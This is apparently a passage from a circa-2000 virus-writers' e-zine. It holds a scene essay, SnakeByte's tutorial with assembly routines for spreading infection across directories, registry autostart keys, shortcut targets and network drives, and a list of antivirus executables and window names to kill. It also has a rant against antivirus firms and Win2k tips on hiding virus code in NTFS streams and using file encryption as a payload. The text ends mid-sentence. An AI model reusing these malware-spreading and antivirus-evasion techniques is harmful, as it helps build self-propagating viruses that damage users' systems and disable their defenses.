hours on a routine just to optimize it by saving two bytes. I don't think it's true. The problem being that people cannot separate their personal history from the global picture (that's not limited to the Vx world, of course). If you try to look at it with some distance, you will see that the vx community looks the same than five or ten years ago. Not in term of
techniques used, of course, but in term of personalities. New people pops in, old people quit, as an eternal cycle. In these two extreme populations, and in the large group of active vxers which sits in the middle, the proportion between posers who are just driven by an ego trip (ph33r M3!), and the really interesting guys who want to discover new techniques or possibilities, even through a long learning process, yes, this proportion stays always the same through the years. You have stupid old schoolers and stupid newbies who think they are Elvis, and you have interesting old schoolers and interesting newbies who want to learn, always. If you're reading this and you think you are part of the "scene", just think about in which category you fit best. But be aware that the image you have of yourself may not be the image that your Vxers colleagues have of you. If you're not satisfied with it, think about what you can do to change it and maybe to gain some respect. I'm not talking just about just improving your technical skills. Some people try to be creative with their limited knowledge (me, for example), other run websites, publish useful databases, are active collectors, help newcomers by writing tutorials, code other things than pure viruses, whatever. You can, at last, ameliorate your behaviour when interacting with other people. In other words: try to be mature. I will terminate here and return in my cave. Hope this helps.
Spanska - 20 September 2000
PS: Post a message in alt.comp.virus if you want to talk about that - I have no mail.
[copyquedalle: steal this text, modify it, sign it with your name, wipe your ass with it, i don't fucking care]
http://kickme.to/Cryptic/ fly.to/alpina
Faster Spreading or What to include in your virus to make it spread more effective by SnakeByte [
[email protected]]
Here we go, please notice that it is illegal to spread viruses, and all this information is completely theoretical, or for testing purpouses in a controlled environment. I just wrote one Windows-Virus so you will see here just few lines of code.. ( interesting ones I think but maybe not very optimized ;) The task of a virus is to spread ( Payload is just a side-effect ). So we need some tricks ( besides infection *g* ) to make our virus spread, as fast as possible. Ok, when a virus arrives on a clean system, it will infect some files, sure .. ;) But if something went bad, we just get some files in the current directory and the victim deletes it, because he does not like the infected app.. :( Not very good, so what to do to avoid this situation ? Here are 6 ideas what we can do : 1.) 2.) 3.) 4.) 5.) 6.)
Infect as many file-types as possible. Try to drop over archives Parse Directory's Use the Registry Follow Links Worming
Ok, let's take a closer look at each of these methods:
1.) Infect as many file-types as possible. If you are macro coder, you should try to infect as many documents which support macro as possible ( DOC, CDR, DOT, PPT, XLS.. ). Same for the assembler coders, there are a lot of file formats which can be infected in Win32: PE-EXE, SCR (same as PE-EXE), DLL, HLP and VXD. Maybe you should try to code a hybrid which is able to infect Binaries on the one hand and macro on the other hand, this will offer you a much higher chance of finding files for infection. In VDat there is a description for how to infect most file types. I think adding 200-400 Bytes to your virus and being able to infect another type is a very good deal. The more files you infect the more likely you get your virus around.
2.) Try to drop over archives Nowadays nearly every file you download somewhere or get send by someone is zipped or packed with another archiver ( RAR, ACE ..) It is possible to infect the files in the archives too. It also offers
you a small protection against AV programs, because AVP for example does not scan archives by default. Read Unknown Mnemonix Tutorials about archive infection for more information about how to do this. So if you infect an archive you archive two goals ( stupid sentence ;P ) the might not get detected, it is possible that someone uploads the archiv to a website and your virus get's lots of hits..
3.) Parse Directory's Ok, now we infect a lot of files, but still all are in the same directory, so we need to change and parse directory's. What we should infect nearly always are the windows and the system directory's, cause they include a lot of files, which are highly used. Use the GetWindowsDirectory and GetSystemDirectory API's to retrieve their names. Then you should parse directory's to find more files to infect. Otherwise we would have infected the current, the win and sys directory, but nothing else, which is not very useful ( how often do you dcc a friend your calc.exe ? *g* ) There are two ways of directory parsing, the one is upwards the other downwards. If you travel downwards ( like cd.. in dos), you would normally not find a lot of files, so traveling upwards is recommended. This can be simply done with a FindFirstFile / FindNextFile Loop. The current directory is assumed to be root on one of the drives. The FindNextFileProc and FindFirstFileProc are procedures that call the matching API's ( I think you'll also use them several times ) The RandomNR procedure just generates a random number in dx.
************************ ParseFolder: call InfectCurDir cmp [ebp+InfCounter],0 jbe EndParsing lea esi, [ebp+Folders] Call FindFirstFileProc inc eax jz EndParsing dec eax
; infect the current directory ; check if we reached the number of files we want to infect ; we infected enoug ? ok, leave !
; If there are no directorys we return ; otherwise we save the handle
GetOtherDir: ; first of all we check if this ; is a valid directory mov eax, dword ptr [ebp+WFD_dwFileAttributes] and eax, 10h ; if not we get the next jz NoThisOne ; one lea esi, [ebp+WFD_szFileName] cmp byte ptr [esi], '.' ; we will not parse into . or .. je NoThisOne ; directorys call RandomNR dec edx jz ParseNewDir
; ; ; ;
generate a random Number, if it is 1 we infect the directory, otherwise we go on searching we get this directory
NoThisOne: call FindNextFileProc test eax, eax jnz GetOtherDir EndParseDir2:
; Find next directory
; we close the search - Handle
mov eax, dword ptr [ebp+FindHandle] push eax call dword ptr [ebp+XFindClose] EndParsing: ret
; we just return
ParseNewDir:
; we got a direcory, let's change to it ; and infect it.. *eg*
; close Find-Handle mov eax, dword ptr [ebp+FindHandle] push eax call dword ptr [ebp+XFindClose] ; set new directory lea esi, [ebp+WFD_szFileName] push esi call dword ptr [ebp+XSetCurrentDirectoryA] jmp ParseFolder
; parse it again !
Folders db '*.',0 ************************
4.) Use the Registry The Windows Registry also offers us a lot of information about what files or directorys we should infect to be sure that our virus gets activated again and does not sleep inside some never used files. You need to load an additional DLL in your virus, but i think this is ok. If you can't load the DLL, just jmp over the registry routines and infect fewer files. I think you all know what the windows registry is or ? For those who don't: the registry replaces the old ini files which have been used in older versions of windows ( 3.1 ). The registry information is stored in the User.dat and System.dat. To view or change the registry use 'regedit.exe', which is delivered with every version of windows. The following API's are neseccairy to access the registry, they are all inside the ADVAPI32.DLL ! RegOpenKeyEx RegCloseKey RegCreateKey RegEnumKeyEx RegQueryValueEx RegEnumValue
-
Opens a registry key Closes an open key Creates a key Enumerates subkeys Retrieves a value Enumerates values
Ok, let's see some source how to get a value from registry : This little piece of code gets the Startmenue Folder ************************ lea esi, RegHandle push esi push 001F0000h push 0h lea esi, SubKey push esi push 80000003h
; complete access ; reserved
; HKEY_USERS
call RegOpenKeyExA test eax, eax jnz WeFailed
; if we failed opening the key, we return
; let's get the value lea esi, BufferSize push esi lea esi, Buffer push esi lea esi, ValueType push esi push 0 lea esi, Value push esi mov eax, RegHandle push eax call RegQueryValueExA
; Type of Value ; reserved ; ValueName ; Reg-Key Handle
mov eax, dword ptr [RegHandle] push eax call RegCloseKey WeFailed: ret SubKey Value ValueType BufferSize Buffer
db db dd dd db
'.Default\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders',0 'Start Menu',0 0h ; Type of registry Value 7Fh ; size of buffer 7fh dup (0)
************************ Buw what can we use the registry for ? Ok let's see some interesting values : In these Keys are the autostarted files : HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Runonce HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunServices HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunServicesOnce Here are the paths of all installed apps, what about parsing this key ? ;) HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths Several standard directories : HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Setup Shared files ( infect them "two for the price of one" *g* ) HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\SharedDLLs Registered Help Files ( if your virus infects them, here you get a whole bunch of ) HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\Help Computer Network Name ( nice value for slow poly ) HKEY_LOCAL_MACHINE\System\CurrentControlSet\control\ComputerName\ComputerName A list of installed files (vxd, exe, dll, hlp, pif,.. ) : HKEY_LOCAL_MACHINE\System\CurrentControlSet\control\InstalledFiles
5.) Follow Links Windows uses LNK-Files to create shortcuts for often used files, so you don't need to copy a 8 MB huge file to your desktop. If you find such a Link, you should check if it points to a file you are able to infect, if so.. don't wait and drop your code over it. Very useful becomes this if you parse the Start-Menue or the desktop *eg* Here is some example code from my Win32.DDoS how to do this, it does not work with NT-LNK Files :( There is also an API we can use for this, but I never figured it out, but I think this is not that much code, so we can include it. I assume you retrieved the LNK-File with the help of FindFirstFile / FindNextFile and the information is stored in the WIN32_FIND_DATA Structure, I also assume that the file is mapped and the base address in MapAddress. ************************ ; first of all, we check for the file ; mark, it is a single 'L' followed by a zero mov esi, dword ptr [ebp+MapAddress] cmp word ptr [esi], 'L' ; check for sign jne NoLNK ; if it is no LNK File we close it ; Let's make a check for the file-size, ; I don't think that there are any shortcuts ; bigger than 1 MB, just to be sure. cmp dword ptr [ebp+WFD_nFileSizeLow] , 0400h ja NoLNK ; get the start addy in esi, and and the size mov mov xor add
esi, ecx, edx, esi,
dword ptr [ebp+MapAddress] dword ptr [ebp+WFD_nFileSizeLow] edx ecx ; we start checking at the end of the file ; for a valid filename in it
CheckLoop: cmp byte ptr [esi], 3ah jne LNKSearch
inc edx cmp edx, 2d je PointsDetected
LNKSearch: dec esi loop CheckLoop
; ; ; ;
we detect a filename by the 2 dots ( 3ah = : ) in the Drive for example C:\whatever\blah.exe we search for the ':'
; ; ; ;
there are 2 times 2 dots, when checking from the end of the LNK, we need the 2.nd the first : is inside the path ( without filename ) so we skip them
; ; ; ; ;
go on searching we search until we found the dots or searched the entire file ( size in ecx ) I don't want to create a SEH .. ;) if we end here, we did not find the two dots.. :(
NoLNK: ret
; return to search more files...
PointsDetected:
; we found the drive ( two dots ... *g* )
; esi points to them, now we need to check ; the name.. cmp byte ptr [esi+1], 0h je NoLNK
; ; ; ;
check if we got an entire path or just a single drive this can happen sometimes with NT or 2k shortcut files, so we better avoid them
PointsDetected2: dec esi cmp byte ptr [esi], 0h je NameDetected
; now we search the starting point of the name ; by searching for a zero
loop PointsDetected2
; ecx still takes care, that we don't ; search too far..
jmp NoLNK
; nothing found ? return..
NameDetected: inc esi
; ; ; ; ;
ok, esi points now to the name of the file you can now open this file and check if it is something you are able to infect it's just that easy, but very effective, if you do this in the right folders,.. ;)
************************
6.) Worming To make sure you don't stay on a single computer you should try to spread over networks. One way are IRC-Worms, which sends your virus to other chatting people. To my mind this is the easiest way to worm around. Another way is to check all drives and if you have access to a network drive, infect there some files. ************************ push offset Buffer ; offset of the buffer push 60h ; buffer-lenght call GetLogicalDriveStrings cmp eax, 0 je StopThis
; did we fail ?
lea esi, Buffer WhatDrive: push esi call GetDriveType cmp eax, DRIVE_REMOTE jne NoNetwork
call infectDrive NoNetwork: Call GetNextZero cmp byte ptr [esi],0 jne WhatDrive StopThis: ret
; we got a network drive
; esi still contains the offset of ; the root dir on the drive ; so we infect it.. ;P
; place esi after the next zero ; ( searching from esi onwards ) ; if we searched all drives we ; end here, otherwise we check the type
Buffer db 60h dup (?)
; I don't know that many ppl with 20+ ; Drives so this buffersize should be ; big enough ;)
************************ Another way is, like the 911-Dialer does, to scan IP ranges when the user is online for non-pass protected Netbus PC's. If you have access, just upload your virus ;) Finally, you can worm with the help of E-Mails, infect a program and send it with the help of Visual Basic Script or with the MAPI Commands around. This is maybe the fastest and most efficient way of spreading, cause the snowball effect is very huge. But if you use VBS and Outlook, please keep in mind that it is worse enough that your virus just spreads in one OS, if it also relies on two frontends ( OE and VB Scripting Host ) it becomes even worse ;)
Hope this little text helps at least some peoples, I enjoyed writing it, and hope you do so too while reading it... ;)
cu SnakeByte
AV-List 13.07.2000
( by SnakeByte [
[email protected]] )
What is the problem when using anti-AV tricks in a Virus ? The most of those you find in tutorials are simply outdated ( Think of the f-prot loop trick, which is still used ;) But in windows you have more possibilitys to get rid of the AV's You can stop the execution of files ( under win9x and 2k ), you can delete files, you can prevent files from being executed ( if you're ring-0 ) and you can close windows of other applications. So on this little list you find all you need for this. I looked for such a list because I wanted to know which files are used by AV's and which windows we should close to disable them ! But i found none, luck for you : Now I got a CD in my hands with several Shareware AV's and I collected several others on the net ( god i love this flatrate ;) So I took myself some spare time and made this little listing. I just have Win95 so I can just give information about the Win9x Versions. If you have another Version of a program, which is listed here, installed or informations about a program which is not listened here, please contact me, so I can expand this list and keep it actual.
************************************************************** Anti-Viral Toolkit Pro ( AVP ) Files: *.avc Virus Database ( The Normal EXE Files seem to start the _ ones ) _avp32.exe AVP Avtiviral scaner shell _avpcc.exe AVP Control Centre Application _avpm.exe AVP Monitor avp32.exe AVP Scanner ( Main File ) avpcc.exe AVP Control Centre Application avpm.exe AVP Monitor avpdos32.exe AVP Scanner for DOS avptc32.exe AVP Scanner for DOS exec.exe unknown avpupd.exe AVP Update ( leeches new *.avc files ) Window-Names: AVP Monitor AntiViral Toolkit Pro AVP Updates
************************************************************** AntiVir 9x Files: Antivir.vdf AVE32.exe Avgctrl.exe Avnt.exe Avrep32.exe AVSCHED32.exe AVWIN95.exe Avwupd32.exe
Virus Database Scanner ( DOS ) Monitor Scanner ( DOS ) Report Viewer Scan Scheduler Scanner Update
Windows: H+BEDV AntiVir Guard/9x
AVWUPD32
************************************************************** Dr. Solomon Virus Scan Files: scan.dat AVConsol.exe Bootscan.exe ECEngine.exe FindViru.exe scan32.exe scrscan.exe VSCAN40.exe vshwin32.exe Webscanx.exe
Virus Database ( assumed ) Scheduler MBR-Scanner ( DOS ) Download Engine Scanner ( DOS ) Scanner ScreenSaver + Scanner Desktop for the Scanner Monitor Webscanner
Windows: vsstat Avconsol Webscanx Vshwin
************************************************************** F-Prot for WIndows Files: *.def Expert.exe FP-Win.exe f-stopw.exe Vir-help.exe
Virus Database Help & Information ( DOS ) Scanner Monitor Help-File ( DOS )
Windows: FP-WIN F-PROT für Windows ( German Version ) F-STOPW Version 5.06c
************************************************************** F-Prot 3.07B Files: *.def F-prot.exe
Virus Database Scanner ( DOS )
************************************************************** F-Secure Anti-Virus for Windows 95 Files: *.avc DVP95.exe DVP95_0.exe F-agnt95.exe F-prot95.exe
Virus Database ( uses same as AVP ! ) F-Secure Gatekeeper F-Secure Gatekeeper F-Agent F-Secure Anti-Virus Launcher
Windows: F-Secure Anti-Virus for Windows 95
F-Secure Anti-Virus F-agnt95 Dvp95
************************************************************** G-Data AntiVirenKit ( German Program ) Files: *.avc AvkServ.exe AckWin32.exe notstart.exe
Virus Database ( Same as AVP ! ) Scan Server Scanner creates Bootdisks
Windows: AntiVirenKit 9
************************************************************** InoculateIT Personal Edition: Files: Vet95.exe VetTray.exe AutoDown.exe Rescue.exe
Scanner Monitor Update Dos-Scanner
Window-Names: InoculateIT Personal Edition InoculateIT Real-Time Protection Status vettray AutoDownload
************************************************************** Norman Virus Control Win 9x Files: Claw95.exe Claw95cf.exe Normist.exe Nvc95.exe Nupgrade.exe NVCbin.def NVCMacro.def
Monitor Configures Monitor Smart Behaviour Blocker Scanner Internet Upgrade Virus Database Virus Database
Windows: Norman Virus Control for Windows 95/98 Cat's Claw v4.80
************************************************************** Norton Anti Virus ( NAV ) Files: navapw32.exe NavLu32.exe Navw32.exe Windows: navpw32 Norton AntiVirus
Monitor Update Scanner
************************************************************** Sophos Anti-Virus for Win95: Files: VDL.dat Sweep95.exe
Virus Database ( assumed ) Scanner
Window-Names: Sophos Anti-Virus - SWEEP
************************************************************** Trend PC-Cillin 98 Files: IOMon98.exe PCCWin98.exe
Monitor Scanner
Windows: Trend PC-cillin 98 Iomon98
************************************************************** RAV 7 Files: *.vdm Jedi.exe Monitor.exe rav7win.exe rav7.exe
Virus Database Scan Scheduler Monitor Scanner Scanner ( DOS )
##############################################################
Are Anti-Virus Companies Criminals? SnakeByte Hi, maybe you start wondering about this headline, but I will tell you some facts which brought me to this question ;) The first thing is, that in several countries there is a law against the ownership of viral sourcecodes and binaries. But this also includes, that it is forbidden to share these things. What do AV'ers do ? They share their files so they all are able to include common viruses into the databases. In addition to this, they have a lot of viral binaries and disassemblys in their labs, to analyze viruses. The next fact is not related to a country-specific law, but to international copyright. Most of the software for MS-DOS and Windows ( which are the favourite platforms for viruses ), is commercial. What does this mean ? You got to pay for the software you use. If you copy it completely or parts of it, whithout paying for the code, you break international copyright laws. Heh, what does Kasperski and the others ask me for ? I shall send them files which I suspect to be infected ? I can't believe this, they ask me to commit a crime ! I don't know how other countries handle this, but here in germany if you make another person commit a crime it is nearly as worse as committing the crime on your own. Last time I installed something commercial on my PC, I was so bored, that I read the disclaimer ( you know the window with lots of text you normally just see for a short time, cause you directly press >next< ). I was wondering when I saw the little paragraph about reverse engineering. If you own this program, you agree to the terms, that you will never ever reverse this program. ( If you don't own the program you break the copyright I talked few lines above about *g* ). Heh, how do the Anti-Virus researchers analyze viruses ? They reverse the virus, to get knownlegde about how the virus works. Whoah, to do this, they also need to disasm the infected program. Another law they break. I really don't think that they just start the file to infect some goats, if they would, they get in danger that new hardware attacks destroy their systems ;) Another thing is that several Anti-Virus Companies start to work on Scanners, which work on mail-servers to stop outgoing viruses. The mail will not be delivered. Due to the fact, that a most virus scanners can scan compressed files and so on, there is no easy way for a normal user to send a virus to his favourite AV Company, if the webserver he uses has one of these scanners running and the scanner has the virus inside its database. Ok, why is this so criminal ? They exclude smaller AV-Companies by this from the market. I for myself write a simple, free Anti-Trojan Tool. How should I receive submissions from peoples which want tu support my work ? It is impossible and therefore I can not longer work on my product. By this, they use their nearly-monopol like place to get rid of concurrents. This is illegal, as you see on the current proceedings against Microsoft. What if we consider viruses to be an art ? In a way the author created something unique, which may be assumed to be an artwork like a book or a painting ( If you look at abstract artwork, nearly everything may be considered to be art *g* ) What about the destruction of art ? Nearly everywhere this is illegal or at least against the ethics ( Just think about the burning of books by the germans during the WW2 ) So this might be another crime they commit. What if we would place a copyright in our software ? Something like: "You can freely distribute this program, as long as you do not change anything. Disassembling and the forwarding to the Anti-Virus Community is forbidden. This program is protected by international law. It is just meant for analyzing artificial intelligence on controlled environments. It is also strictly forbidden to place this program on a non controlled environment and place it into the wild.. bla bla" Just use their laws, to forbid them analysing our creations. If you see the virus in a AV-Database you know they have broken this law and you can take them to the court... ;) Ok Mr. Kaspersky go and get some good lawyers ;)
Some Tipz & trix for Win2k 1. Introduction I just wanted to write an article about NTFS5. But I am reading a lot of documentation about Win2k and I found there many functions and sequences that could be very usefull for us, virus coders. So i decided to write some tipz and trix that anybody could use. I hope I succeeded. btw It's my first english written article so pls be patient. My english sux so if you don't know what something means, just contact me. And now we can begin ... 2. NTFS5 I think you all expected this:) And i also read on virus.cyberspace.sk that english version of my article for Igi is requested. I won't exactly translate what i wrote there becoz it wasn't for coders. This will be :) 2.1. Streams Streams is not a new feature of NTFS5 and it was implemented in NTFS since the very beginning of WinNT(version 3.1) but it has been downplayed by Micro$oft. In Win2k the position of Streams is much better. And there also exists the first virus that uses Streams. It's of course mine and Benny's/29a Win2k.Stream. I think ya all have heard about it becoz of big medial success. It's an very easy and simple virus with a good idea I think. First we heard about Streams from a man called GriYo/29a (heya and thx man!) on meeting in Brno. And then when Benny came to me for some days we decided to write our first common virus (and my first). It was really funny becoz we coded through the nite and very lately we didn't even know what we are typing :) There also existed a version of Win2k.Stream with polymorfic name of stream! But next day when we woke up and talked about it in the pub we decided to write it as simple as possible. And I think we succeeded - the comment is longer than the whole code XD. First we'll look what Streams exactly are and then we'll talk more about our virus. On filesystems such as FAT, FAT32 and others exists only one unnamed stream. What do ya think it is? Exactly! The file alone. But on NTFS there exist also others (data) streams with a name. The name begins with ':' to indicate that it's a named stream (part of file) and pastes together with filename (the unnamed stream). Look at this: We have a file file.txt. It is also the unnmed stream. We would like to create a new stream within the file file.txt. We want to name it "RAT" for example. So we simply add ':' before stream name and paste it to file name. So now we have somewhere in the buffer this: "file.txt:RAT". And now there's nothing easier than just use CreateFile(A|W) to create our stream. If creation succeed you will get a handle that you can uses as it would be a normal file (it is exactly a normal file ...). Well we have a stream within the file but we forgot its name :) Any solution? Yeah there is one. It's not so comfortable as it should be but there is. For our needs we'll need a function called BackupRead that can be found in kernel32.dll. Look what MSDN says: BOOL BackupRead( HANDLE hFile, LPBYTE lpBuffer, DWORD nNumberOfBytesToRead, LPDWORD lpNumberOfBytesRead, BOOL bAbort, BOOL bProcessSecurity, LPVOID *lpContext );
// // // // // // //
handle to file or directory read buffer number of bytes to read number of bytes read termination type process security options context information
For our purposes we can ignore such thingiez as security and context. hFile is handle to file we want to enumerate streams. lpBuffer should point to a structure called WIN32_STREAM_ID. WIN32_STREAM_ID struc DWORD dwStreamId; DWORD dwStreamAttributes; QWORD Size; DWORD dwStreamNameSize; WCHAR cStreamName[ANYSIZE_ARRAY]; WIN32_STREAM_ID ends The first bytes of this structure represent the header of each stream. Then begins the name of the stream and after the name there is the content of stream. To enumerate all the streams, you just need to loop until BackupRead returns False. Just look at the code snippet: ; in ebx - file handle to enumerate streams enumerate_streams: push offset lpcontext push 0 push 0 @pushvar
push 20 push offset buffer push ebx call BackupRead ; read the stream header xchg eax, ecx jecxz end_enumerate_streams ; error ? push offset lpcontext push 0 push 0 @pushvar push dword ptr [buffer+16] ; push stream_name_size push offset buffer+20 ; stream_name_size store to buffer+ push ebx ; header_size call BackupRead xchg eax, ecx ; error ? jecxz end_enumerate_streams ; Now we have in buffer+20 the stream_ ; name in Unicode. Its length is ; [buffer+16] ... push offset lpcontext ; becoz BackupRead loox at file and its @pushvar ; streams as it would be on file we must @pushvar ; seek after stream content. push dword ptr [buffer+12] push dword ptr [buffer+8] push ebx call BackupSeek xchg eax, ecx ; error ? jecxz end_enumerate_streams jmp enumerate_streams ; go on with another stream_name ... end_enumerate_streams: Well i think that this is all you should know about streams for the beginning. Just make some more coding with it and i think you will become more familiar with it and you will use it in the future. Remember the words from Kaspersky/AVP: Stream companion is a new breaktrough infection which is very hard to detect! Just make some more wrinkles to AVers ... 2.1.1. Win2k.Stream And now something more about our babe. After the execution tries to find via
FindFirst&FindNextFile find victimz to infect. It infectz only *.exe files in current directory (there were no reasons to spread it). The infection worx as follows: first it chex if the file is compressed (viz. next chapter) then it creates a temp file and copies the main stream to it copies virus_body to main_victim_stream moves tempfile to stream :STR compresses the file so after infection the file loox as this: (This are pictures from AVP :)) File before infection
File after infection
ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ³°°°°°°°°°°°°°°°°°°°³ ³°°°°°°°°°°°°°°°°°°°³ ³°°°°°°°°°°°°°°°°°°°³ ³°°°°main stream°°°°³ ³°°°°°°°°°°°°°°°°°°°³ ³°°°°program body°°°³ ³°°°°°°°°°°°°°°°°°°°³ ³°°°°°°°°°°°°°°°°°°°³ ³°°°°°°°°°°°°°°°°°°°³ ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ³±±±±±±±±±±±±±±±±±±±³ ³±±service streams±±³ ³±±±±±±±±±±±±±±±±±±±³ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ³°°°°°°°°°°°°°°°°°°°³ ³°°° main stream°°°°³ ³°°° virus body°°°°°³ ³°°°°°°°°°°°°°°°°°°°³ ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ³°°°°°°°°°°°°°°°°°°°³ ³°additional stream°³ ³°°°°°° :STR °°°°°°°³ ³°°°°°°°°°°°°°°°°°°°³ ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ³±±±±±±±±±±±±±±±±±±±³ ³±±service streams±±³ ³±±±±±±±±±±±±±±±±±±±³ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
then it tries to find next file etc. At the end it just runs via CreateProcess the :STR stream where is victim_body. When the victim ends it just invokes ExitProcess and ends. If any error occures it displays following text: "Win2k.Stream by Benny/29A & Ratter" "This cell has been infected by [Win2k.Stream] virus!" and ends. This is also a payload on FAT, FAT32 and others filesystems that do not support streams. And that's all. Simple ain't it?
2.2. Compression and encryption We also as first used in our babe NTFS ability to compress files. It is transparent for application so it is a great way how to reduce disk free space decreasing after infection occures. If we want to compress file we must call file_system driver via DeviceIoControl with the rite IoControlCode ... look at this code snippet from Win2k.Stream and also from my Win2k.Purple (but the first who did this was Benny/29a in his Win32.HIV. On our mini-meeting he decided that we will use it in Win2k.Stream first ...) FSCTL_SET_COMPRESSION
equ 9 shl 16 or 3 shl 14 or 16 shl 2
xor eax,eax push eax @pushvar push eax push eax push 4 @pushvar ;default compression push FSCTL_SET_COMPRESSION push ebx ;NTFS compress it = call DeviceIoControl ;mark as already infected
; = and save disk space :) and now what MSDN says: BOOL DeviceIoControl( (HANDLE) hDevice, FSCTL_GET_COMPRESSION, NULL, 0, (LPVOID) lpOutBuffer, (DWORD) nOutBufferSize, (LPDWORD) lpBytesReturned, (LPOVERLAPPED) lpOverlapped );
// // // // // // // //
handle to file dwIoControlCode operation lpInBuffer; must be NULL nInBufferSize; must be zero output buffer size of output buffer number of bytes returned OVERLAPPED structure
I think that it is clear. And also simple to implement to your virus. Just do it! Next thingie is Encryption. It can be easyly used by calling functions EncryptFile and DecryptFile :). I think that it could be aplied as a payload becoz if you encrypt on the machine with Win2k a file then only the user who encrypted the file has access to the file. After encyption of some files there can be very good chaos on the machine :) BOOL EncryptFile( LPCTSTR lpFileName ); BOOL DecryptFile( LPCTSTR lpFileName, DWORD dwReserved );
// file name
// file name // reserved; must be zero
I think i'm repeating myself but - easy to implement, easy to use ...
2.3. Sparse files I dunno if anyone finds use for sparse files in virus coding but i found this as a very nice feature of NTFS5 so i would like to talk about it here. Have you ever imagined how much space must be wasted in databases in which most of the file is null (free records)? A lot of :) And here comes a solution for such applications. Sparse files. (sounds like a promote of M$ :)) We as programmers can define where in the file lie such holes (with nulls) and say it to the filesystem. Filesystem will just store to disk datas which by which we say that are not null ... code snippet will show more: BOOL DeviceIoControl( (HANDLE) hDevice, FSCTL_SET_SPARSE, NULL, 0, NULL, 0, (LPDWORD) lpBytesReturned, (LPOVERLAPPED) lpOverlapped );
// // // // // // // //
handle to a file dwIoControlCode operation lpInBuffer; must be NULL nInBufferSize; must be zero lpOutBuffer; must be NULL nOutBufferSize; must be zero number of bytes returned OVERLAPPED structure
FSCTL_SET_SPARSE equ 9 shl 16 or 2 shl 14 or 49 shl 2 FILE_BEGIN equ 0 push push push push
0 0 CREATE_ALWAYS 0
; create file SparseFile
push 0 push GENERIC_WRITE @pushsz "SparseFile" call CreateFileA xchg eax, ebx xor eax,eax push eax @pushvar push eax push eax push eax push eax ; push FSCTL_SET_SPARSE push ebx call DeviceIoControl push FILE_BEGIN @pushvar push 0 ; push ebx ; call SetFilePointer push ebx ; call SetEndOfFile push ebx call CloseHandle
Sign this file as a SparseFile
Move filepointer to 32GigaBytes (hyea Gig :)) SetEndOfFile == ; fill with nulls to 32 gigz
This code snippet will create a file which size is 32GB! But acutally the real size is null :) Nice aint it ? And how to let the filesystem know that we have sparse in our file? Here's a prototype of function that we can use ... BOOL DeviceIoControl( (HANDLE) hDevice, FSCTL_SET_ZERO_DATA, (LPVOID) lpInBuffer, (DWORD) nInBufferSize, NULL, 0, (LPDWORD) lpBytesReturned, (LPOVERLAPPED) lpOverlapped
// // // // // // // //
handle to a file dwIoControlCode operation pointer to FILE_ZERO_DATA_INFORMATION size of input buffer lpOutBuffer; must be NULL nOutBufferSize; must be zero number of bytes returned OVERLAPPED structure
typedef struct _FILE_ZERO_DATA_INFORMATION { LARGE_INTEGER FileOffset; LARGE_INTEGER BeyondFinalZero; } FILE_ZERO_DATA_INFORMATION, *PFILE_ZERO_DATA_INFORMATION; And that's all about sparse files for now ... 2.3. Reparse Points This thingy is my little favourite :) What are reparse points? A reparse point is a block of user defined data associated with a file or directory. The content of that data knows aplication and file system driver (filter) which will filtrate it. When NTFS wants to open a file and recognises that that file has a reparse point it firstly tries to find a file system filter which belongs to that reparse point (in it's structure is a tag ...). If succeeds then passes that raw data (max 16KB) to that filter and what that driver does is on him. The file system driver you install is on the top of file systems drivers. What you intercept depends on you. Do you see it? You can do everything with that file. You can infect files just by setting reparse point to it. You can change some datas in that file, store it to reparse point and whenever the file is opened you renew that content and on the file close you reinfect it. Without your file system filter will be in the file broken content ... With this you can infect !_all_! files! I must say that it is charming. But it has some holes. We must find out how to spread the mother (file_system_driver). But firstly we must create that mother :) This will be a little problem becoz we need
IFSkit (kit to write installable filesystem drivers) and M$ wants too much money (for me ...) for it. If someone has it pls contact me. And it also needs some more studying. But one time it will come :)) 2.4. Mounting To this theme is not so much to say. I think that most of ya know mounting from various *nix systems such as Linux. If you want to set a volume point you will need 3 functions. GetVolumeNameForVolumeMountPoint, SetVolumeMountPoint and sometimes DeleteVolumeMountPoint. If you want documentation, lemme know. I'll give it to you. Just one thing to mention. In *nixes is this feature implemented for 30 years. Micro$oft implemented it now. That means 30 years hole between technologies?? Everyone must answer this question on his own :)) That's all for now about NTFS5. There's more to say in each of that themes I was talking about in this article but i think it is enough for the beginning. Just code and study and if you will have problems contact me. If I can help you (==if I will know it) I will help you. 3. Job kernel object You have problems while managing processes in your virus? Your virus uses IPC and creates a lot of processes and you want and comfort way how to destroy them all? In Win2k you can use a Job kernel object which lets you to group processes together and create a sandbox that restricts what these processes are allowed to do. Then you can destroy all the processes just by destroying the Job object. Let's go deeper. First you must create a job object. This can be done via CreateJobObject api fc. HANDLE CreateJobObject( LPSECURITY_ATTRIBUTES lpJobAttributes, // SD (can be null for our purposes) LPCTSTR lpName // job name (if null then job is ); // a noname job :)) So now we have created a job and we have handle for it. Now we must assign some process to it. Just use AssignProcessToJobObject ... BOOL AssignProcessToJobObject( HANDLE hJob, // handle to job HANDLE hProcess // handle to process ); Easy. Now we can place some restrictions to the processes within the job but that's not so necessary for now. I promised terminating of all processes via one api fc rite? Here it is ... BOOL TerminateJobObject( HANDLE hJob, // handle to job UINT uExitCode // exit code ); After calling this function with rite job handle will be all processes within the job 